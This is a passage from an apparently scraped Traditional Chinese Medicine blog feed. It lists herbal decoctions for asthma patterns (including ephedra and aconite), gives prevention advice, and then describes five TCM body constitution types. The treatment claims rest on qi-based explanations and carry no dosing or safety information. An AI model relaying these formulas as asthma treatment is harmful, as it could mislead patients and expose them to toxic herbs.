Gan Jiang (Zingibier or dried ginger)
Xi xin (Manchurian Wild Ginger)
Ban xia (Pinella Tuber)
Zi wan (Tartarian Aster Root)
Kuan dong hua (Common Coltsfoot Flower)
Gan cao (Liquorice Root)
Wu wei zi (Chinese Magnoliavine Fruit)
Da zao (Chinese Date)

In this decoction, She gan and ma huang are responsible for relieving the cough and wheeze, easing the throat and removing the phlegm. Gan jiang, xi xin and ban xia warm the cold phlegm in the lung and reverse the movement of qi. Zi wan, kwuan dong hua and gan cao relieve the cough and remove the phlegm. Wu wei zi stops the lung qi from traveling in the wrong direction and relieves the cough. Da zao helps support the normal qi in the body.

Other related patterns
Wind-Cold tightens the lungs
Wind-cold is an exterior syndrome because it is a pernicious evil which attacks the body from the outside first. The therapeutic goal is to relieve this exterior syndrome with herbs, which are pungent in flavor and warm in property. This helps the lungs to resume their dissemination of qi and provides relief of the asthma symptoms. 

Decoction Example 
Modified powder of huagai 

Ma huang (Ephedra)
Xing ren (Bitter Apricot Seed)
Gan cao (Liquorice Root)
Su zi (Perilla Fruit)
San bai pi (White Mulberry root-bark)
Chen pi (Dried Tangerine Peel)

Heat type asthma
Because this type of asthma is caused by heat evils, the therapeutic goal is to clear away the heat and resume the dissemination of lung qi. Treatment will also remove phlegm and relieve coughing.

Decoction Example 
Ding chuan decoction 

Ma huang (Ephedra)
Huang qin (Baical Skullcap Root)
San bai pi (White Mulberry Root-Bark)
Xing ren (Bitter Apricot Seed)
Ban xia (Pinella Tuber)
Kuan dong hua (Common Coltsfoot Flower)
Su zi (Perilla Fruit)
Bai guo (Ginkgo Seed)
Gan cao (Liquorice Root)

In this decoction, ma huang restores the lungs’ ability to disseminate qi. Huang qin and san bai pi clear away the heat in the lung and restore the liquefying function of the lungs. Xin ren, ban xia, kuan dong and su zi remove the phlegm and redirect qi’s movement to descend. Bai guo arrests lung qi. Gan cao keeps the other herbs in balance and supports the body’s normal qi.

Other related patterns 
Heat retention in lungs 
The therapeutic aim is to clear away lung heat and remove phlegm.

Decoction Examples 
Maxing shigan decoction with modification

Ma huang (Ephedra)
Xing ren (Bitter Apricot Seed)
Shi gao (Gypsum)
Gan cao (Liquorice Root)
San bai pi (White Mulberry Root-Bark)
Huang qin (Baical Skullcap Root)
Chuan Bei mu (Tendrilleaf Fritillary Bulb)

Stagnation of phlegm dampness in middle warmer(spleen and stomach) 
The therapeutic goal to expel the phlegm and support the qi descending function of the lungs. This decoction also helps relieve wheezing. 

Example decoction 
Daotan decoction combined with sanzi yangqin decoction 

Dan nan xing (Bile Arisaema)
Zhi shi (Immature Orange Fruit)
Ban xia (Pinella Tuber)
Chen pi (Dried Tangerine Peel)
Fu ling (Indian Bread or Poiria)
Gan cao (Liquorice Root)
Bai jie zi (Mustard Seed)
Su zi (Perilla Fruit)
Lai fu zi (Radish Seed)

Lung Deficiency
The lungs are responsible for governing the health of protective qi, which is part of our immunity. When lung disharmony occurs the aim is to restore normal lung function and consolidate the exterior and protective qi in the body so illness can be avoided 

Decoction examples 
Yu ping feng powder 

Huang qi (Milkvetch Root or Astragalus)
Bai zhu (Largehead Atractylodes Rhizome)
Fang feng (Divaricate Saposhnikovia Root)

In this decoction, huang qi and bai zhu support qi and consolidate the exterior. Fang feng also helps support exterior consolidation and in addition removes wind evils. Wind evils usually attack the lungs when the exterior of the body is weak.

Shengmai decoction and erchen decoction with modifications 

Ren shen (Panax Ginseng)
Mai dong (Dwarf Lilyturf Tuber)
Wu wei zi (Chinese Magnoliavine Fruit)
Huang qi (Milkvetch Root or Astragalus)
Ban xia (Pinella Tuber)
Ju hong (Red Tangerine Peel)
Fu ling (Indian Bread or Poiria)
Gan cao (Liquorice Root)
Zi wan (Tartarian Aster Root)

This is another example of a decoction used to restore lung function.

Spleen Deficiency
The spleen is responsible for transforming fluids into substances that are essential to maintain health. Therefore, in order to restore the healthy balance of the spleen, it is necessary to support the spleen’s transformation function and remove the excess unhealthy fluids known as phlegm. 

Decoction example 
Liu junzi decoction 

Dang shen (Tangshen or Radix Codonopsis)
Bai zhu (Largehead Atractylodes Rhizome)
Fu ling (Indian Bread or Poiria)
Gan cao (Liquorice Root)
Chen pi (Dried Tangerine Peel)
Ban xia (Pinella Tuber)

In this decoction, dang shen, bai zhu, fu lin and gan zao are excellent combination herbs for strengthening the spleen and replenishing qi. Chen pi and ban xia are good for removing phlegm and regulating qi. All the herbs in this combination work together to support the spleen’s transformation function. 

Kidney Deficiency 
The kidneys also play an important role in regulating healthy breathing. Therefore, the treatment goal is to replenish the kidneys and support their qi grasping function so healthy breathing can be resumed.

Decoction example 
Jingui shengqi pill 

Di huang(dry) or sheng di (Rehmannia Root)
Shan zhu yu (Asiatic Cornelian Cherry Fruit)
Shan yao (Common Yam Rhizome)
Fu ling (Indian Bread or Poiria)
Ze xie (Oriental Waterplantain Rhizome)
Mu dan pi (Tree Peony Bark)
Gui zhi (Cassia Twig)
Fu zi (Prepared Common Monkshod Daughter Root)

This is a famous decoction for supporting kidney yang. Di huang is good herb for nourishing the kidney yin. It is usually supported by sha zhu yu and shan yao which enhance the spleen’s functions. As di huang has certain wet properties, ze xie is added to remove the excessive fluids and regulate the fluid channels. Fu lin helps support the spleen and transform fluids. Dan pi releases and clears away liver fire resulting from deficient heat. After this, fu zi and gui zhi are added to support the kidney yang. Fu zi helps replenish the yang and dispels the cold while gui zhi warms the meridian so there can be smooth movement of fluids inside the blood vessels.

Other related patterns 
Yin difficiency of lungs and kidneys 
The therapeutic aim is to nourish the yin and keep the yang in its original place without overwhelming other organs.

Decoction example 
Liuwei dihuang decoction combined with shengmai decoction 

Sheng dior di huang (Rehmannia Root)
Shan zhu yu (Asiatic Cornelian Cherry Fruit)
Shan yao (Common Yam Rhizome)
Mu dan pi (Tree Peony Bark)
Fu ling (Indian Bread or Poiria)
Ze xie (Oriental Waterplantain Rhizome)
Tai zi shen (Heterophylly Falsestarwort root)
Mai dong (Dwarf Lilyturf Tuber)
Wu wei zi (Chinese Magnoliavine Fruit)

 

 Prevention

Prevention is essential for maintaining the health of asthma patients. The following issues should be remembered:

1. Pay attention to changes in the weather; because, they can trigger asthma exacerbations.
2. Pay attention to environmental influences such as the pernicious evils, which cause illness. 
3. Keep healthy and avoid getting a cold or the flu.
4. Avoid smoking and keep away from other stimulating substances cause asthma exacerbations such as smoke and pollens.
5. Stay on a simple, healthy diet. Avoid eating raw, cold, greasy or pungent food. Also avoid eating shrimps or crabs.
6. Get adequate rest. Avoid exhaustion and mental stress because they can trigger asthma.
7. Exercise daily to keep your body healthy and strong.

References

1. Beijing University of Traditional Chinese Medicine: Traditional Chinese Internal Medicine, Academy Press, (2000).
2. Guang Anmen Hospital (Traditional Chinese Medicine Institute of China): The Diagnosis and Treatment Principle of TCM, Publishing House of Ancient Books of TCM, (1989).
3. Kelly, William N. Textbook of Internal Medicine,3rd Edition, Philadelphia & New York: Lippincott-Raven, (1997).
4. National Institutes of Health, Expert Panel Report 2:Guidelines for the Diagnosis and Management of Asthma, NIH publication No.97-4051, April 1997
5. Zhang Enqin, Clinic of Traditional Chinese Medicine (I), Publishing House of Shanghai College of TCM, (1990).
6. 張伯臾等：《中醫內科學》，上海 上海科學技術出版社，(1993)。
]]> Human body constitutions in TCM http://acuherb.us/human-body-constitutions-in-tcm/ http://acuherb.us/human-body-constitutions-in-tcm/#comments Thu, 03 Nov 2011 21:06:04 +0000 http://acuherb.us/?p=963

Human body constitutions in TCM

The constitution of each person is influenced by congenital and acquired factors, and this varies from person to person. In the other words, the body’s metabolism, functioning of organs and organ structure all combine to determine our susceptibility to pathogenic factors.In TCM, there are five different types of physical constitutions: neutral, yin and cold, yang and hot, phlegm and dampness, and dry.

1. Yang and hot type

Individuals have a sturdy body. They often feel hot, experience dryness of the mouth, prefer cold drinks when thirsty, have a reddish complexion, are easily annoyed, and tend to suffer from insomnia. They usually discharge scanty urine of a dark color, and have hard stools. Upon examination of the tongue, it appears red with a yellowish coating, or may have no coating at all. Such individuals are very sensitive to high temperatures.

2. Yin and cold type

Individuals have a frail body. They usually feel cold, have an aversion to wind, and their limbs are cold. They prefer hot or warm food and drinks, are reluctant to speak, get easily tired and have a pale or whitish complexion. They usually discharge clear urine frequently, stools are soft, and tend to suffer from diarrhea easily. Upon examination of the tongue, it appears pink and bulky with a whitish coating. Such individuals are very sensitive to cold temperatures.

3. Phlegm and damp type

A person of this constitution perfers sweet food. They experience heaviness in the body, dizziness, and tire easily. They look fatigued and sleepy in day time, and snore easily during sleep. Such people have a low metabolic rate. They tend to become overweight or bloated due to retention of water. The person may look fat but is drained of energy. The tongue looks moist and bulky, and is covered with a greasy coating. Such people are very sensitive to damp weather.

4. Dry type

Individuals belonging to this constitution feel thirsty easily and experience dryness in the eyes, throat, lips and skin. When common flu is prevalent, they will usually have a cough without mucus. Such people tend to be skinny and do not put on weight easily. Their common complaints are itchy skin, nose or eyes, and constipation – all due to lack of lubrication. They are very sensitive to low levels of humidity.

5. Neutral type

This type of person does not have any of the above complaints. They look healthy with normal skin color. They have proper appetite and sleep, and do not feel hot or cold easily. Their urine and stools are normal. The tongue is normal upon examination.

It should be emphasized that in reality, people usually have a mixed physical constitution, for example, cold and dry, damp and hot, or cold and deficient. Therefore, it is difficult to classify one type individually as more than one type of constitution may be present. When planning a balanced diet, it is necessary to mix different flavors and energies according to the individual’s needs. Embracing Chinese dietary advice is a process to shift to a more balanced diet. It does not mean you should restrict your diet; you may give up some foods but you will find a whole variety of foods you may have never tried before.

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